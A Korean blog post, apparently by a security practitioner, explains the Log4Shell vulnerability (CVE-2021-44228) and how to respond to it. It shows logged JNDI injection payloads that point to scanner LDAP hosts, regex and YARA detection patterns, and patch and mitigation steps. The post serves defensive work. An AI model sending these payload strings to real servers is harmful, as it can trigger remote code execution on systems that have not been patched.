취약점 설명
- Apache Log4j 2 RCE(CVE-2021-44228)
Apache에서 로그 메시지와 파라미터 등에 사용되는 JNDI 기능으로 인하여 LDAP 등 JNDI 관련 서버군에 취약점이 발생합니다.
공격자가 로그 메시지 또는 로그 메시지 파라미터를 제어할 수 있다면, 서버에 메시지 룩업 관련 기능(message lookup substitution)이 활성화된 경우에 한하여 LDAP 서버에서 로드된 임의의 코드를 실행할 수 있습니다.
# jndi
자바 네이밍 디렉터리 인터페이스의 약자로 객체를 찾고 참조(lookup)을 하기 위한 자바 API
즉, 객체를 찾고 참조하여 이용함.
영향을 받는 제품 및 해결 방안
1. Apache Log4j 2 (2.0-beta9 ~ 2.14.1 모든버전)
2. 대표 제품군
Apache Struts, Apache Solr, Apache Druid, Apache Flink, ElasticSearch, Flume, Apache Dubbo, Logstash, Kafka, Spring-Boot-starter-log4j2
취약점 예시
"GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 200 2681 "-" "Kryptos Logic Telltale" TLSv1.2 ECDHE-RSA-AES256-SHA
"GET /$%7Bjndi:ldaps://cceac44c.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://cceac44c.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://cceac44c..probe001.log4j.leakix.net:9200/b} HTTP/1.1" 200 2681 "-" "${jndi:ldaps://cceac44c.probe001.log4j.leakix.net:9200/b}"
"GET / HTTP/1.1" 200 1328 "-" "${jndi:ldap://http443useragent.kryptoslogic-cve-2021-44228.com/http443useragent}" TLSv1.2 ECDHE-RSA-AES256-SHA
취약점 점검방법
서버에서 \$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+ 형태의 로그가 적재되어있는지 확인
취약점 대응방안
1. 서버 내부 조치
- log4j에서 JNDI를 파싱 불가 조치
- log4j2 2.15.0로 업데이트(https://logging.apache.org/log4j/2.x/download.html)
- lookup 사용하지 않게 조치
2. 보안장비 snort or yara rule 적용
- yara룰
strings:
$x1 = "${jndi:ldap:/"
$x2 = "${jndi:rmi:/"
$x3 = "${jndi:ldaps:/"
$x4 = "${jndi:dns:/"
3. 보안패턴 추가(정규표현식)
\${(j|\${lower:j}|\${::-j})(n|\${lower:n}|\${::-n})(d|\${lower:d}|\${::-d})(i|\${lower:i}|\${::-i}):
//jndi문자열 차단조치
[추가]
1. 제조사 홈페이지를 통해 최신버전(2.15.0)으로 업데이트 적용
2. 최신버전으로 업데이트가 어려운 경우 사용중인 버전확인 후 버전별 조치 적용
1) 2.0-beta9 ~ 2.10.0
- JndiLookup 클래스를 경로에서 제거
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
2) 2.10 ~ 2.14.1
- log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정
참고
1. https://m.boannews.com/html/detail.html?tab_type=1&idx=103257
2. https://logging.apache.org/log4j/2.x/security.html
3. https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
4. https://www.blumira.com/cve-2021-44228-log4shell/
감사합니다.
'Security > Vulnerability' 카테고리의 다른 글
Sudo 권한상승 취약점(CVE-2021-3156) (0) | 2021.02.10 |
---|---|
ThinkPHP 원격 코드 실행 취약점(CVE-2018-20062) (0) | 2020.11.19 |
Logjam (CVE-2015-4000) (0) | 2020.08.01 |
DROWN (CVE-2016-0800) (0) | 2020.08.01 |
NTP Amplification DDoS Attack (CVE-2013-5211) (0) | 2020.08.01 |